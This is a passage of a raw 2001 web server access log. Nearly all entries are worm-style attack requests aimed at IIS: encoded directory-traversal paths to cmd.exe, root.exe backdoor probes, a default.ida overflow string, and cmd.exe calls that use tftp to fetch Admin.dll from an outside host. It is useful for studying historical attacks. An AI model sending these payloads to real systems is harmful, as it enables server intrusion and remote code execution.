BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:02:17: [128.248.199.43] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:02:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:02:36: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:02:36: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:02:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:02:54: [128.248.199.43] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:03:12: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:03:12: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:03:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:03:30: [128.248.199.43] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:03:49: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:03:49: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:07: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:07: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:04:07: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:07: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:25: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:25: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:25: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:04:25: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:45: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:45: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:45: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:04:45: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:03: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:03: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:03: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:03: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:21: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:21: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:21: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:39: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:39: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:39: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:40: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:58: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:58: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:58: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:05:58: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:17: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:17: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:17: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:17: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:35: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:35: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:35: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:54: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:54: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:54: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:06:54: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:07:12: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:07:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:07:30: BOS-ADMIN108.BU.EDU [128.197.235.108] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:07:30: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:07:30: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:07:48: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:08:07: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:08:07: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:08:25: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:08:25: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:08:43: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:08:43: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:09:01: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:09:01: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:09:19: ucsf-18-151.ucsf.edu [128.218.18.151] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:09:19: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:09:38: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:09:56: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:10:14: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:10:32: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:10:50: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:11:09: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:11:27: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:11:45: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:12:03: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:12:21: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:20:03: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:20:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:20:22: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:20:40: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:20:40: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:20:58: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:20:58: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:21:16: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:21:16: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:21:34: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:21:34: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:21:53: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:21:53: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:22:11: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:22:11: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:22:29: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:22:29: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:22:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:22:47: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:23:06: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:23:06: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:23:24: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:23:24: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:23:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:23:42: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:24:00: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:24:00: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:24:18: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:24:18: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:24:37: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:24:37: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:24:40: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:25:41: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:25:59: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:26:18: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:26:36: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:26:54: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:27:12: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:27:30: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:27:49: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:28:07: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:28:25: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:28:43: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:29:01: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:29:19: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:29:38: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:29:56: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:30:14: bus84-017.gsb.columbia.edu [128.59.84.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 18:30:14: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:37:59: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:38:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:38:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:38:00: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:38:00: [128.164.25.217] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:39:43: [128.164.25.217] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:40:01: [128.164.25.217] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:40:19: [128.164.25.217] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:40:38: [128.164.25.217] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:40:56: [128.164.25.217] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:41:14: [128.164.25.217] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:41:32: [128.164.25.217] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:41:51: [128.164.25.217] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:42:09: [128.164.25.217] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:42:27: [128.164.25.217] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:42:46: [128.164.25.217] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:43:04: [128.164.25.217] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:43:25: [128.164.25.217] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:43:44: [128.164.25.217] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:44:02: [128.164.25.217] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:44:20: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:47:34: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:47:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:36: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 18:47:37: cc118955-a.groni1.gr.nl.home.com [213.51.147.235] "GET /index.html HTTP/1.0" 20010919 18:48:28: [128.121.40.147] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 18:52:09: [128.121.40.147] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 18:52:36: [128.197.227.140] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 19:00:30: [128.197.227.139] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 19:00:48: [128.197.227.140] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 19:01:06: [128.197.227.139] "GET /scripts/root.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 19:01:25: [128.197.227.140] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:01:43: [128.197.227.139] "GET /scripts/Admin.dll HTTP/1.0" 20010919 19:02:01: [128.197.227.140] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:02:20: [128.197.227.139] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 19:02:38: [128.197.227.140] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:02:56: [128.197.227.139] "GET /MSADC/root.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010919 19:03:14: [128.197.227.140] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:03:33: [128.197.227.139] "GET /MSADC/Admin.dll HTTP/1.0" 20010919 19:03:51: [128.197.227.140] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:04:09: [128.197.227.139] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:04:28: [128.197.227.140] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:04:46: [128.197.227.139] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 19:05:04: [128.197.227.140] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:05:22: [128.197.227.139] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 19:05:41: [128.197.227.140] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:05:59: [128.197.227.139] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 19:06:17: [128.197.227.140] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:06:35: [128.197.227.139] "GET /c/Admin.dll HTTP/1.0" 20010919 19:06:53: [128.197.227.140] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:07:12: [128.197.227.139] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:07:30: [128.197.227.140] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:07:48: [128.197.227.139] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 19:08:06: [128.197.227.140] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:08:24: [128.197.227.139] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.197.227.139%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 19:08:43: [128.197.227.140] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 19:09:01: [128.197.227.139] "GET 